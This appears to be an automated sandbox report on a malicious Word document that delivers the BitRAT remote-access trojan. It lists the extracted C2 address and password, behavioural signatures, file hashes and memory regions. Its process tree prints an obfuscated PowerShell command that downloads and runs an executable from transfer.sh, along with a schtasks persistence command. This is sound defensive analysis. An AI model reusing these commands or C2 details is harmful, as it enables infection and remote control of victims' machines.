Analysis
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max time kernel
84s -
max time network
109s -
platform
windows10-2004_x64 -
resource
win10v2004-20230831-en -
resource tags
arch:x64arch:x86image:win10v2004-20230831-enlocale:en-usos:windows10-2004-x64system -
submitted
14-09-2023 15:13
Behavioral task
behavioral1
Sample
Zapitvane_MACH_BULGARIA_EOOD_09_2023.doc
Resource
win7-20230831-en
General
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Target
Zapitvane_MACH_BULGARIA_EOOD_09_2023.doc
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Size
199KB
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MD5
3b92906782599469acffd05ba041942e
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SHA1
522183445616d131f3edf13e6ea93c9f19c9f52f
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SHA256
edce16eadba8d19990b2ff2e97420f07c1f4defe813ffe961f9cd777f8368b7b
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SHA512
c1f8a1259327db79f98467d2a9e2dce172c39e78541476722863eb7b6fa5c39f41c39ad574e7e0b65ed4ab0d8a7201665df1463f2aeaa2d456634c94e71e0f33
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SSDEEP
3072:NAN+svPwMrFoXiURMf8yS/TSTIs6sCbMD3itIm0QqgxJi+m:W33JodRU8yS/dLsZDyp0QZC
Malware Config
Extracted
bitrat
1.38
185.225.75.68:3569
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communication_password
0edcbe7d888380c49e7d1dcf67b6ea6e
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tor_process
tor
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 2660 4412 cmd.exe WINWORD.EXE -
Blocklisted process makes network request 1 IoCs
Processes:
powershell.exeflow pid process 24 2120 powershell.exe -
Downloads MZ/PE file
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Executes dropped EXE 3 IoCs
Processes:
ggxnw.exeggxnw.exepint.exepid process 644 ggxnw.exe 5084 ggxnw.exe 4760 pint.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 5 IoCs
Processes:
ggxnw.exepid process 5084 ggxnw.exe 5084 ggxnw.exe 5084 ggxnw.exe 5084 ggxnw.exe 5084 ggxnw.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
ggxnw.exedescription pid process target process PID 644 set thread context of 5084 644 ggxnw.exe ggxnw.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 4412 WINWORD.EXE 4412 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 2120 powershell.exe 2120 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exeggxnw.exedescription pid process Token: SeDebugPrivilege 2120 powershell.exe Token: SeShutdownPrivilege 5084 ggxnw.exe -
Suspicious use of SetWindowsHookEx 9 IoCs
Processes:
WINWORD.EXEggxnw.exepid process 4412 WINWORD.EXE 4412 WINWORD.EXE 4412 WINWORD.EXE 4412 WINWORD.EXE 4412 WINWORD.EXE 4412 WINWORD.EXE 4412 WINWORD.EXE 5084 ggxnw.exe 5084 ggxnw.exe -
Suspicious use of WriteProcessMemory 30 IoCs
Processes:
WINWORD.EXEcmd.exepowershell.exeggxnw.execmd.exedescription pid process target process PID 4412 wrote to memory of 2660 4412 WINWORD.EXE cmd.exe PID 4412 wrote to memory of 2660 4412 WINWORD.EXE cmd.exe PID 2660 wrote to memory of 2120 2660 cmd.exe powershell.exe PID 2660 wrote to memory of 2120 2660 cmd.exe powershell.exe PID 2120 wrote to memory of 644 2120 powershell.exe ggxnw.exe PID 2120 wrote to memory of 644 2120 powershell.exe ggxnw.exe PID 2120 wrote to memory of 644 2120 powershell.exe ggxnw.exe PID 644 wrote to memory of 5084 644 ggxnw.exe ggxnw.exe PID 644 wrote to memory of 5084 644 ggxnw.exe ggxnw.exe PID 644 wrote to memory of 5084 644 ggxnw.exe ggxnw.exe PID 644 wrote to memory of 5084 644 ggxnw.exe ggxnw.exe PID 644 wrote to memory of 5084 644 ggxnw.exe ggxnw.exe PID 644 wrote to memory of 5084 644 ggxnw.exe ggxnw.exe PID 644 wrote to memory of 5084 644 ggxnw.exe ggxnw.exe PID 644 wrote to memory of 5084 644 ggxnw.exe ggxnw.exe PID 644 wrote to memory of 5084 644 ggxnw.exe ggxnw.exe PID 644 wrote to memory of 5084 644 ggxnw.exe ggxnw.exe PID 644 wrote to memory of 5084 644 ggxnw.exe ggxnw.exe PID 644 wrote to memory of 4212 644 ggxnw.exe cmd.exe PID 644 wrote to memory of 4212 644 ggxnw.exe cmd.exe PID 644 wrote to memory of 4212 644 ggxnw.exe cmd.exe PID 644 wrote to memory of 5020 644 ggxnw.exe cmd.exe PID 644 wrote to memory of 5020 644 ggxnw.exe cmd.exe PID 644 wrote to memory of 5020 644 ggxnw.exe cmd.exe PID 644 wrote to memory of 2008 644 ggxnw.exe cmd.exe PID 644 wrote to memory of 2008 644 ggxnw.exe cmd.exe PID 644 wrote to memory of 2008 644 ggxnw.exe cmd.exe PID 5020 wrote to memory of 2092 5020 cmd.exe schtasks.exe PID 5020 wrote to memory of 2092 5020 cmd.exe schtasks.exe PID 5020 wrote to memory of 2092 5020 cmd.exe schtasks.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Zapitvane_MACH_BULGARIA_EOOD_09_2023.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4412 -
C:\Windows\SYSTEM32\cmd.execmd /c pow^ers^hell/W 01 c^u^rl htt^ps://transfer.sh/get/gj04sqKk7O/boat.e^xe -o C:\Users\Public\ggxnw.exe;C:\Users\Public\ggxnw.exe2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2660 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell /W 01 curl https://transfer.sh/get/gj04sqKk7O/boat.exe -o C:\Users\Public\ggxnw.exe;C:\Users\Public\ggxnw.exe3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2120 -
C:\Users\Public\ggxnw.exe"C:\Users\Public\ggxnw.exe"4⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:644 -
C:\Users\Public\ggxnw.exe"C:\Users\Public\ggxnw.exe"5⤵
- Executes dropped EXE
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:5084 -
C:\Windows\SysWOW64\cmd.exe"cmd" /c mkdir "C:\Users\Admin\AppData\Roaming\pint"5⤵PID:4212
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C:\Windows\SysWOW64\cmd.exe"cmd" /c schtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\pint\pint.exe'" /f5⤵
- Suspicious use of WriteProcessMemory
PID:5020 -
C:\Windows\SysWOW64\schtasks.exeschtasks /create /sc minute /mo 1 /tn "Nafifas" /tr "'C:\Users\Admin\AppData\Roaming\pint\pint.exe'" /f6⤵
- Creates scheduled task(s)
PID:2092 -
C:\Windows\SysWOW64\cmd.exe"cmd" /c copy "C:\Users\Public\ggxnw.exe" "C:\Users\Admin\AppData\Roaming\pint\pint.exe"5⤵PID:2008
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C:\Users\Admin\AppData\Roaming\pint\pint.exeC:\Users\Admin\AppData\Roaming\pint\pint.exe1⤵
- Executes dropped EXE
PID:4760
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_q5gisxbt.ig1.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\pint\pint.exeFilesize
1.9MB
MD5452fde89cfceaa35059fcc8d1f40cfff
SHA116d6c23ab1970847579ef1af7d9bc67ba08b3235
SHA2563c785998bf637f552d089958d04c10d40b572b7ae8a5130ee976ebc102b45fd5
SHA512c9292fd95af5d3006968713e367e41f30feff3635737b2ad88f0ea3a0c694bde7f03b86d761f5f366325c3a7d1a730506cd01e5dda7afefdabd34fa9613d3003
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C:\Users\Admin\AppData\Roaming\pint\pint.exeFilesize
108KB
MD576e709bca8f5995dc25727fe17141d31
SHA17e845c9ecde11e1336fed573cab70a501874106c
SHA25687a63e6e9269f88209f7bec34c95a2c51f10957c3e572c1190546d46ae752505
SHA5120d2724c2d5511fff17765a33746cb2b193398986a93d5f0a7fa9b0cc7dff2d8ecfc1bc832eb81b44a20ebc08c994d8ee0d66549e24a167ad90231cb83741a228
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C:\Users\Admin\AppData\Roaming\pint\pint.exeFilesize
3.8MB
MD56d4c3a4ff3637ec34f820172f897d476
SHA1d53fe8f0ecb0536088ec9be5247ab6627baf31cb
SHA256c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3
SHA5121ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894
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C:\Users\Public\ggxnw.exeFilesize
3.8MB
MD56d4c3a4ff3637ec34f820172f897d476
SHA1d53fe8f0ecb0536088ec9be5247ab6627baf31cb
SHA256c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3
SHA5121ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894
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C:\Users\Public\ggxnw.exeFilesize
3.8MB
MD56d4c3a4ff3637ec34f820172f897d476
SHA1d53fe8f0ecb0536088ec9be5247ab6627baf31cb
SHA256c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3
SHA5121ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894
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C:\Users\Public\ggxnw.exeFilesize
3.8MB
MD56d4c3a4ff3637ec34f820172f897d476
SHA1d53fe8f0ecb0536088ec9be5247ab6627baf31cb
SHA256c609d25041b7c463a726027c99c0a264b1e77415612e445fc39cfc9aae9801f3
SHA5121ff5f4b215bedf6824c9c1932b5e8dbcbb8e459ee2839c598cc0f955b2948e25c5ce834b963ee1cf6ea22954e9c1fa4b102f117808f6dc8a4891b36c37d7e894
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memory/644-72-0x0000000005760000-0x0000000005D04000-memory.dmpFilesize
5.6MB
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memory/644-71-0x0000000000420000-0x00000000007F8000-memory.dmpFilesize
3.8MB
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memory/644-70-0x00000000746D0000-0x0000000074E80000-memory.dmpFilesize
7.7MB
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memory/644-73-0x00000000051A0000-0x00000000051B0000-memory.dmpFilesize
64KB
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memory/644-80-0x00000000746D0000-0x0000000074E80000-memory.dmpFilesize
7.7MB
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memory/2120-61-0x000002453F8D0000-0x000002453F8E0000-memory.dmpFilesize
64KB
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memory/2120-35-0x00007FFE587E0000-0x00007FFE592A1000-memory.dmpFilesize
10.8MB
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memory/2120-58-0x000002453F8D0000-0x000002453F8E0000-memory.dmpFilesize
64KB
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memory/2120-57-0x00007FFE587E0000-0x00007FFE592A1000-memory.dmpFilesize
10.8MB
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memory/2120-47-0x000002453FA10000-0x000002453FA32000-memory.dmpFilesize
136KB
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memory/2120-46-0x000002453F8D0000-0x000002453F8E0000-memory.dmpFilesize
64KB
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memory/2120-36-0x000002453F8D0000-0x000002453F8E0000-memory.dmpFilesize
64KB
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memory/2120-68-0x00007FFE587E0000-0x00007FFE592A1000-memory.dmpFilesize
10.8MB
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memory/4412-20-0x00007FFE869B0000-0x00007FFE86BA5000-memory.dmpFilesize
2.0MB
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memory/4412-1-0x00007FFE46A30000-0x00007FFE46A40000-memory.dmpFilesize
64KB
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memory/4412-22-0x00007FFE869B0000-0x00007FFE86BA5000-memory.dmpFilesize
2.0MB
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memory/4412-32-0x000001FFD3160000-0x000001FFD4130000-memory.dmpFilesize
15.8MB
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memory/4412-33-0x000001FFD3160000-0x000001FFD4130000-memory.dmpFilesize
15.8MB
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memory/4412-34-0x000001FFD3160000-0x000001FFD4130000-memory.dmpFilesize
15.8MB
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memory/4412-21-0x00007FFE869B0000-0x00007FFE86BA5000-memory.dmpFilesize
2.0MB
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memory/4412-19-0x00007FFE869B0000-0x00007FFE86BA5000-memory.dmpFilesize
2.0MB
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memory/4412-18-0x00007FFE44260000-0x00007FFE44270000-memory.dmpFilesize
64KB
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memory/4412-17-0x00007FFE869B0000-0x00007FFE86BA5000-memory.dmpFilesize
2.0MB
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memory/4412-16-0x00007FFE869B0000-0x00007FFE86BA5000-memory.dmpFilesize
2.0MB
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memory/4412-48-0x00007FFE869B0000-0x00007FFE86BA5000-memory.dmpFilesize
2.0MB
-
memory/4412-49-0x00007FFE869B0000-0x00007FFE86BA5000-memory.dmpFilesize
2.0MB
-
memory/4412-54-0x000001FFD3160000-0x000001FFD4130000-memory.dmpFilesize
15.8MB
-
memory/4412-55-0x000001FFD3160000-0x000001FFD4130000-memory.dmpFilesize
15.8MB
-
memory/4412-56-0x000001FFD3160000-0x000001FFD4130000-memory.dmpFilesize
15.8MB
-
memory/4412-15-0x00007FFE869B0000-0x00007FFE86BA5000-memory.dmpFilesize
2.0MB
-
memory/4412-14-0x00007FFE44260000-0x00007FFE44270000-memory.dmpFilesize
64KB
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memory/4412-12-0x00007FFE869B0000-0x00007FFE86BA5000-memory.dmpFilesize
2.0MB
-
memory/4412-13-0x00007FFE869B0000-0x00007FFE86BA5000-memory.dmpFilesize
2.0MB
-
memory/4412-10-0x00007FFE869B0000-0x00007FFE86BA5000-memory.dmpFilesize
2.0MB
-
memory/4412-11-0x00007FFE869B0000-0x00007FFE86BA5000-memory.dmpFilesize
2.0MB
-
memory/4412-9-0x00007FFE869B0000-0x00007FFE86BA5000-memory.dmpFilesize
2.0MB
-
memory/4412-8-0x00007FFE869B0000-0x00007FFE86BA5000-memory.dmpFilesize
2.0MB
-
memory/4412-7-0x00007FFE869B0000-0x00007FFE86BA5000-memory.dmpFilesize
2.0MB
-
memory/4412-6-0x00007FFE46A30000-0x00007FFE46A40000-memory.dmpFilesize
64KB
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memory/4412-3-0x00007FFE46A30000-0x00007FFE46A40000-memory.dmpFilesize
64KB
-
memory/4412-5-0x00007FFE46A30000-0x00007FFE46A40000-memory.dmpFilesize
64KB
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memory/4412-2-0x00007FFE869B0000-0x00007FFE86BA5000-memory.dmpFilesize
2.0MB
-
memory/4412-0-0x00007FFE46A30000-0x00007FFE46A40000-memory.dmpFilesize
64KB
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memory/4412-4-0x00007FFE869B0000-0x00007FFE86BA5000-memory.dmpFilesize
2.0MB
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memory/5084-99-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-89-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
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memory/5084-84-0x00000000745E0000-0x0000000074619000-memory.dmpFilesize
228KB
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memory/5084-78-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-86-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-87-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-88-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-100-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-90-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-91-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-92-0x0000000074960000-0x0000000074999000-memory.dmpFilesize
228KB
-
memory/5084-93-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-94-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-101-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-96-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-98-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-85-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-77-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-95-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-102-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-105-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-106-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-107-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-110-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-111-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-112-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-113-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-116-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-117-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-118-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-122-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
-
memory/5084-76-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB
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memory/5084-74-0x0000000000400000-0x00000000007CE000-memory.dmpFilesize
3.8MB